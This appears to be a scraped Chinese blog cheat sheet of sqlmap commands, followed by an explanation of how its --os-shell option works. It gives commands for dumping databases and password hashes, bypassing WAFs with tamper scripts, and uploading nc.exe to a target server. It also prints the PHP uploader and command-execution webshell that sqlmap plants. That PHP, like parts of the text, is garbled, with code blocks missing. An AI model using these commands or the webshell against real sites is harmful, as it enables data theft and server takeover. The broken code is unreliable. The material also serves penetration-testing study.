Sqlmap常見命令

2022-08-13 03:54:11 字數 4372 閱讀 5874

藉著複習mysql的機會再重新複習一下sqlmap,因為引數太多了,我只記錄一下自己常用的命令,如果想看詳細大全,可以看一下大佬們的完整版

文章參考

-h,--help  顯示基本幫助資訊並退出

-hh 顯示高階幫助資訊並退出

--version 顯示程式版本資訊並退出

在這些選項中必須提供至少有乙個確定目標

-u  目標url  

例:sqlmap -u "www.abc.com/index.php?id=1"

-m 後接乙個txt檔案,檔案中是多個url,sqlmap會自動化的檢測其中的所有url。

例:sqlmap -m target.txt

-r 可以將乙個post請求方式的資料報(bp抓包)儲存在乙個txt中,sqlmap會通過post方式檢測目標。

例:sqlmap -r bp.txt

這些選項可以用來指定如何連線到目標url

--method=method 指定是get方法還是post方法。

例: --method=get --method=post

--random-agent 使用隨機user-agent進行測試。sqlmap有乙個檔案中儲存了各種各樣的user-agent,檔案在sqlmap/txt/user-agent.txt 在level>=3時會檢測user-agent注入。

--proxy=proxy 指定乙個**。

例: --proxy="127.0.0.1:8080" 使用goagent**。

這些選項可用於指定要測試的引數、提供自定義注入有效載荷和可選的篡改指令碼。

-p  測試引數

例: sqlmap -r bp.txt -p "username"

--skip-static 跳過測試靜態引數(有的時候注入有多個引數,那麼有些無關緊要的引數修改後頁面是沒有變化的)

--no-cast 獲取資料時,sqlmap會將所有資料轉換成字串,並用空格代替null。(這個在我們注入失敗的時候偶爾會見到,提示嘗試使用--no-cast)

--tamper=tamper 使用sqlmap自帶的tamper,或者自己寫的tamper,來混淆payload,通常用來繞過waf和ips。

這些選項可以用來指定在sql盲注時如何解析和比較http響應頁面的內容

--level=level  執行測試的等級(1-5,預設為1) 

lv2:cookie; lv3:user-agent,refere; lv5:host

在sqlmap/xml/payloads檔案內可以看見各個level傳送的payload 我常使用--level 3

--risk=risk 執行測試的風險(0-3,預設為1)

risk 2:基於事件的測試;risk 3:or語句的測試;risk 4:update的測試

公升高風險等級會增加資料被篡改的風險。 常用就是預設1

這些選項可以用來列舉後端資料庫管理系統的資訊、表中的結構和資料。 脫庫時使用

-b, --banner        獲取資料庫管理系統的標識

--current-user 獲取資料庫管理系統當前使用者

--current-db 獲取資料庫管理系統當前資料庫

--hostname 獲取資料庫伺服器的主機名稱

--is-dba 檢測dbms當前使用者是否dba

--users 列舉資料庫管理系統使用者

--passwords 列舉資料庫管理系統使用者密碼雜湊

--privileges 列舉資料庫管理系統使用者的許可權

--dbs 列舉資料庫管理系統資料庫

--tables 列舉dbms資料庫中的表

--columns 列舉dbms資料庫表列

-d 要進行列舉的指定資料庫名

-t 要進行列舉的指定表名

-c 要進行列舉的指定列名

--dump 轉儲資料庫表項,查詢字段值

--search 搜尋列(s),表(s)和/或資料庫名稱(s)

--sql-query=query 要執行的sql語句

--sql-shell 提示互動式sql的shell

這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統

--file-read=rfile     從後端的資料庫管理系統檔案系統讀取檔案

--file-write=wfile 編輯後端的資料庫管理系統檔案系統上的本地檔案

--file-dest=dfile 後端的資料庫管理系統寫入檔案的絕對路徑

在kali中將/software/nc.exe檔案上傳到c:/windows/temp下:

python sqlmap.py -u"" --file-write="/software/nc.exe" --file-dest="c:/windows/temp/nc.exe"

這些選項可以用於訪問後端資料庫管理系統的底層作業系統

--os-cmd=oscmd   	執行作業系統命令(oscmd)

--os-shell 互動式的作業系統的shell

os-shell的原理

文章參考

當我們執行--os-shell的時候,首先要選擇語言(預設為php)

然後需要輸入**的絕對路徑,我的是預設目錄/var/www/html/選1,如果需要自己輸入的話選2

然後在/var/www/html下會多出兩個php檔案,這兩個php檔案就是--os-shell寫入的shell檔案

我們看一下內容

tmputade.php

<?php 

if (isset($_request["upload"]))

else

@chmod($dir."/".$file,0755);echo "file uploaded";

}else

?>

實現的就是上傳檔案,同時根據phpversion,將上傳的檔案的許可權進行修改。 (大概作用就是用來判斷php版本?否則直接寫入下面的執行指令碼就好了,這個上傳指令碼不是多此一舉嗎?)

tmpbixkl.php

<?php 

$c=$_request["cmd"];

@set_time_limit(0);

@ignore_user_abort(1);

@ini_set("max_execution_time",0);

$z=@ini_get("disable_functions");

if(!empty($z))

else

$c=$c." 2>&1\n";

function f($n)

if(f("system"))

elseif(f("proc_open"))

@proc_close($y);

}elseif(f("shell_exec"))

elseif(f("passthru"))

elseif(f("popen"))

} @pclose($x);

}elseif(f("exec"))

else

echo"$w

";?>

上述**實現了os-shell得到了命令後,如何執行命令以及輸出執行結果到os-shell中 。

os-shell使用條件

網上說的都是這三個條件,可是我三個條件都滿足了仍然無法使用os-shell,後來發現雖然資料庫是root@localhost許可權但是往系統裡寫檔案時的許可權是mysql而不是root

/var/www/html預設許可權是755,除了root使用者其他使用者沒有寫的許可權,就無法將上面的兩個php檔案寫入目錄裡,所以使用條件只有這3個就可以嗎?還是因為什麼原因?這個還沒想明白,先記錄一下這個問題。

SQLMap引數命令

sqlmap引數命令 method 指定使用的http方法 data 提交post資料並對post資料進行測試 param del 分隔符 指定引數的分隔符 cookie 新增cookie http請求頭 headers 新增http請求頭,不同的頭使用 n 分隔 auth type和 auth c...

sqlmap命令簡單總結

sqlmap詳細命令 options 選項 sqlmap u http url news?id 1 dbs o sqlmap.log 儲存進度 sqlmap u http url news?id 1 dbs o sqlmap.log resume 恢復已儲存進度 target 目標 以下至少需要設定...

sqlmap基本操作命令

1.獲取資料庫相關資訊 python sqlmap.py u url 2.獲取資料庫內資訊,獲取資料庫內所有資料庫的名稱 python sqlmap.py u url dbs 3.獲取某個資料庫中表的資訊 python sqlmap.py u url d mys tables 4.獲取某個表內列的資...